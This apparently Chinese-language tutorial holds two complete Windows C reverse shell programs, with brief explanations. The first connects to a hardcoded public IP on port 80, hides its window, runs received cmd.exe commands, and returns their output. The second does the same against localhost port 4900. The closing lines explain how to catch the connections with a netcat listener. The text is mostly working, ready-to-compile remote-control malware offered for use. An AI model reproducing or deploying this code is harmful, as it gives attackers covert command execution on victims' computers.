这段代码是一个在Windows平台下实现的反向连接(reverse shell)程序。它使用Winsock库进行网络通信,并通过创建套接字与指定的远程主机建立连接。一旦连接成功,程序可以接收本地输入的命令,并在远程主机上执行这些命令,并将命令的输出返回到本地主机。然后,程序通过管道将命令输出发送回本地,并持续监听新的命令输入。
概述:
- 包含必要的头文件,并设置链接器指令。
- 初始化Winsock(WSAStartup)。
- 创建套接字,用于与远程主机建立连接。
- 循环尝试连接远程主机,直到连接成功。
- 成功连接后,发送连接成功信息到远程主机。
- 循环接收本地输入的命令,通过管道执行命令,并将命令输出发送到远程主机。
- 若远程主机断开连接,则程序自动退出。
#pragma comment(lib,"ws2_32.lib")
#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#endif
#include <winsock2.h>
#include <windows.h>
int main(int argc, char **argv)
{
char *messages = "======================== Connect successful !========================\n";
WSADATA WSAData;
SOCKET sock; //创建套接字
SOCKADDR_IN addr_in;
char buf[1024]; //buf作为socket接收数据的缓冲区
memset(buf, 0, 1024); //清空缓冲区
WSAStartup(MAKEWORD(2, 2), &WSAData); //初始化ws2
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(80); //反向连接的远端主机端口
addr_in.sin_addr.S_un.S_addr = inet_addr("59.110.167.239"); //远端IP
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
while (WSAConnect(sock, (struct sockaddr *)&addr_in, sizeof(addr_in), NULL, NULL, NULL, NULL) == SOCKET_ERROR) //连接客户主机
{
Sleep(5000); //连接失败,停顿5s,再试
continue;
}
send(sock, messages, strlen(messages), 0); //发送success信息
char buffer[2048] = { 0 };//管道输出的数据
for (char cmdline[270];; memset(cmdline, 0, sizeof(cmdline))){
SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
HANDLE hRead, hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
CreatePipe(&hRead, &hWrite, &sa, 0); //创建管道
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si); //STARTUPINFO 结构
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE; //隐藏窗口
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(cmdline, MAX_PATH + 1); //获得系统路径
strcat(cmdline, "//cmd.exe /c"); //路径+/cmd.exe
int len = recv(sock, buf, 1024, NULL);
if (len == SOCKET_ERROR) exit(0); //如果客户端断开连接,则自动退出程序
strncat(cmdline, buf, strlen(buf)); //把命令参数复制到cmdline
CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi); //创建进程
CloseHandle(hWrite);
for (DWORD bytesRead; ReadFile(hRead, buffer, 2048, &bytesRead, NULL); //循环读取管道中数据并发送,直到管道中没有数据为止
memset(buffer, 0, 2048)){
send(sock, buffer, strlen(buffer), 0);
}
}
return 0;
}
该段代码是一个用于Windows平台的反向Shell程序,它通过在被控制端和控制端之间建立网络连接,实现远程控制和命令执行。程序使用Winsock库进行网络通信,通过socket连接指定的IP地址和端口。它在被控制端创建管道来重定向控制台命令输出,并将命令执行结果发送回控制端。控制端可以向被控制端发送命令,被控制端接收并执行这些命令,并将执行结果返回给控制端。
主要功能包括:
- 使用Winsock库进行网络通信,通过socket连接指定的IP地址和端口。
- 通过创建管道,将控制台命令输出重定向到管道中,并通过网络发送到控制端。
- 监听控制端发送的命令,并在被控制端执行这些命令。
- 将命令执行结果返回给控制端。
#include <Windows.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
HANDLE g_hinputPipe, g_houtputPipe;
HANDLE g_hThread;
DWORD g_dwThreadId;
const unsigned short PORT = 4900;
const char * REMOTE_ADDR = "127.0.0.1";
const unsigned int MAXSTR = 255;
//收发信息
bool sendData(SOCKET sSock, char *cmdline, const char* sockData)
{
ZeroMemory(cmdline, MAXSTR);
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
while (!CreatePipe(&g_houtputPipe, &g_hinputPipe, &sa, 0))
{
Sleep(1000);
}
Sleep(200);
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.hStdError = g_hinputPipe;
si.hStdOutput = g_hinputPipe;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(cmdline, MAXSTR);
strcat_s(cmdline, MAXSTR, "\\cmd.exe /c ");
strcat_s(cmdline, MAXSTR, sockData);
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, 10000);
return true;
}
//被控端管道信息回传监控
DWORD WINAPI WatchData(LPVOID lprarm)
{
unsigned int g_Ret = 0;
DWORD dwTotalAvail = 0;
DWORD realReadLen = 0;
char readBuffer[4096] = "\0";
SOCKET sSock = (SOCKET)lprarm;
while (true)
{
g_Ret = PeekNamedPipe(g_houtputPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
if (g_Ret && dwTotalAvail > 0)
{
Sleep(300);
g_Ret = ReadFile(g_houtputPipe, readBuffer, 4096, &realReadLen, NULL);
if (g_Ret && realReadLen > 0)
{
Sleep(200);
strcat_s(readBuffer, 4096, "\r\nCMD >");
send(sSock, readBuffer, strlen(readBuffer), 0);
ZeroMemory(readBuffer, 4096);
}
}
}
return 0;
}
//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
char sendError[30] = "[*] Send Error !\r\n\r\n";
char cmdline[MAXSTR] = "\0";
char sockData[MAXSTR] = "\0";
int sockDataLen = 0;
SOCKET sSock;
sockaddr_in sockAddr;
WSADATA wsd;
if (WSAStartup(MAKEWORD(2, 2), &wsd)) return 0;
if ((sSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return 0;
sockAddr.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(PORT);
while (connect(sSock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == SOCKET_ERROR)
{
Sleep(2000);
continue;
}
g_hThread = CreateThread(NULL, 0, WatchData, LPVOID(sSock), 0, &g_dwThreadId);
while (true)
{
while ((sockDataLen = recv(sSock, sockData, MAXSTR, 0)) == SOCKET_ERROR)
{
Sleep(1000);
}
if (!sendData(sSock, cmdline, sockData))
{
send(sSock, sendError, strlen(sendError), 0);
}
ZeroMemory(sockData, MAXSTR);
}
WaitForSingleObject(g_hThread, INFINITE);
CloseHandle(g_hinputPipe);
CloseHandle(g_houtputPipe);
closesocket(sSock);
WSACleanup();
ExitProcess(0);
return 0;
}
下载NC netcat 1.11 for Win32/Win64
nc执行命令:nc命令 : -l -v -p [端口] 等待上线